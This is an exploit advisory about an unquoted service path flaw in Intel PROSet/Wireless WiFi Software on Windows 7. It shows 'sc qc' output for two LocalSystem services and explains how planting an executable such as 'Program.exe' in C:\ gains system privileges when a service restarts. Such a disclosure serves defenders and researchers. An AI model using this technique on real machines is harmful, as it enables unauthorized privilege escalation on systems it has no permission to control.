# Exploit Title: Intel(R) PROSet/Wireless WiFi Software - Unquoted Service Path Privilege Escalation # Date: 10/19/2016 # Exploit Author: Joey Lane # Version: 15.01.1000.0927 # Tested on: Windows 7 Professional The Intel(R) PROSet/Wireless WiFi Software installs 2 services with unquoted service paths. This enables a local privilege escalation vulnerability. To exploit this vulnerability, a local attacker can insert an executable file in the path of either service. Rebooting the system or restarting either service will run the malicious executable with elevated privileges. This was tested on version 15.01.1000.0927, but other versions may be affected as well. --------------------------------------------------------------------------- C:\>sc qc EvtEng [SC] QueryServiceConfig SUCCESS SERVICE_NAME: EvtEng TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Intel\WiFi\bin\EvtEng.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Intel(R) PROSet/Wireless Event Log DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\>sc qc RegSrvc [SC] QueryServiceConfig SUCCESS SERVICE_NAME: RegSrvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Common Files\Intel\WirelessCommon\RegSrvc.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Intel(R) PROSet/Wireless Registry Service DEPENDENCIES : RPCSS SERVICE_START_NAME : LocalSystem --------------------------------------------------------------------------- EXAMPLE: Using the BINARY_PATH_NAME listed above as an example, an executable named "Program.exe" could be placed in "C:\", and it would be executed as the Local System user next time the service was restarted.
